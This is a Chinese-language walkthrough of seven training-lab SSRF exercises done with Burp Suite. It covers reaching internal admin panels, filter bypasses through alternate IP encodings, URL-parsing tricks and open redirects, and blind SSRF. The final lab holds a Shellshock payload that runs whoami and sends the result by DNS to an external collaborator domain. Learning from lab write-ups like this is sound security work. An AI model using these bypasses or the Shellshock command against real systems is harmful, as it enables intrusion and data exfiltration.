1. 针对本地服务器的基本 SSRF
易受攻击的参数是:库存检查功能
目标:更改 URL 来访问http://localhost/admin
并删除用户carlos
分析:
-
URL 浏览到
/admin
目录返回一个错误,指出该目录仅可从服务器本地使用,或对已登录的管理员可用。 -
找到库存检查功能,打开 burp 进行拦截并发送到 repeater,库存将发出与后端 API 通信的请求。在 burp 中观察到有个参数是
stockApi
,有 http 字样,判断为编码后 URL。通过 Ctrl+Shift+U 对 URL 解码后,能够看到库存检查功能的 URL 路径和端口号。 -
查看是否有应用程序在本地主机上运行,将
stockApi
值换为http://localhost
,发送后显示成功,点开 burp 的 Render,能够看到网站页面上有Admin panel
字样,说明进入了管理面板 -
在 Response 中搜索 admin,可看到
Admin panel
的路径是/admin
,把路径添加到 stockApi 上后,继续在 Response 中搜索 carlos,可看到删除的路径是/admin/delete?username=carlos
-
删除 carlos:
http://localhost/admin/delete?username=carlos
,遵循 302 重定向
2. 针对另一个后端系统的基本 SSRF
易受攻击的参数是:库存检查功能
目标:SSRF 扫 IP 并删除用户carlos
分析:
通过 burp suite
-
在库存检查功能处抓包,发送到
Intruder
,对 IP 地址的最后一位“添加有效载荷 §”,type 填 Number,From 1 To 255 Step 1
,然后 Start attack。 -
攻击完后通过 Status 排序,找到不一致的发送到 Repeater,在最后面添加
/admin
-
在 Response 中搜索 carlos,可看到删除的路径是
admin/delete?username=carlos
-
对 URL 编码后发送,遵循 302 重定向,返回即可看到已成功
http://192.168.0.18:8080/admin/delete?username=carlos
通过 python
3. 带有基于黑名单的输入滤波器的 SSRF
易受攻击的参数是: 库存检查功能
目标: 访问 http://localhost/admin 的管理界面并删除用户carlos
分析:
- 打开 burp 抓包,修改参数为
http://localhost/
失败了,然后修改为http://127.0.0.1
也失败了,再次修改为http://127.1
,因为会自动填充缺少的两位八位字节,点击发送发现渲染出来了 - 这说明,没有对
127.1
进行正则匹配(所以设置白名单比黑名单更好) - 还可以把 IP 地址进行 16 进制编码或者 8 进制
- 16 进制 -->
7F000001
- 10 进制 -->
2130706433
- 16 进制 -->
- 后面加入
/admin
,发送后失败了在 burp 中右击Convert selection
对 admin 进行编码,或者大小写绕过,最后找到路径直接删除用户即可
4. 通过开放重定向漏洞旁路过滤器的 SSRF
要点: Open redirect
分析:
-
抓包库存检查功能和
Next produst
并发送到 Repeater,重命名为 Check stock、Next product -
在 Next product 中通过测试 path 参数,观察到 path 参数被放置在
Location
响应标头中,Location 响应标头表示 URL 需要重定向页面 -
应用程序先验证 stockAPI 参数的 URL 是否在允许的域中,紧接着应用程序请求 URL,触发重定向,遵循重定向,向攻击者构造的内部 URL 发出请求
-
stockApi=/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos
5. 带外检测的盲 SSRF
在加载产品页面时用 burp 抓包,找到 Referer 标头,开启 Collaborator client 把网址替换为 Referer
6. 带有基于白名单的输入滤波器的 SSRF
要点: 利用 URL 解析中的不一致性来绕过过滤器
步骤:
-
首先发出请求
http://loaclhost
,发现响应告诉我们主机名必须是stock.weliketoshop.net
-
使用
@
在主机名之前的 URL 中嵌入凭据,参数改为http://[email protected]
-
使用两次 URL 编码后的
#
使 @stock.weliketoshop.net 失效。#代表网页中的一个位置,位置的标识符 -
发出请求
http://127.0.0.1%[email protected]
即可成功。后面步骤与之前面没有差别了
7. 盲目 SSRF 与壳冲击利用
要点:SSRF 在 Referer, UA 带 Shell shock payload
步骤:
-
从 BApp Store 安装“Collaborator Everywhere”扩展,把域名添加到 Burp,以便 Collaborator Everywhere 观察
-
回到浏览器,浏览产品页面后点击 return,如此反复,由此产生 HTTP 交互,回到 burp,观察 HTTP 请求中的 User-Agent,并发送到 Intruder
-
使用 Burp Collaborator 客户端,更改 Referer 标头,
http://192.168.0.1:8080
IP 地址的最后一个八位字节,添加§
() { :; }; /usr/bin/nslookup $(whoami).yac7iwqg4tsdlyai7czxo0rrcii96y.oastify.com
-
Payloads 窗口,将 payload 类型为 Numbers,
1、255、1
,开始攻击 -
攻击完成后,回到 Burp Collaborator 客户端,点击 Poll now,能够看到 DNS 交互和操作系统用户的名称
-
需要输入操作系统用户的名称即可成功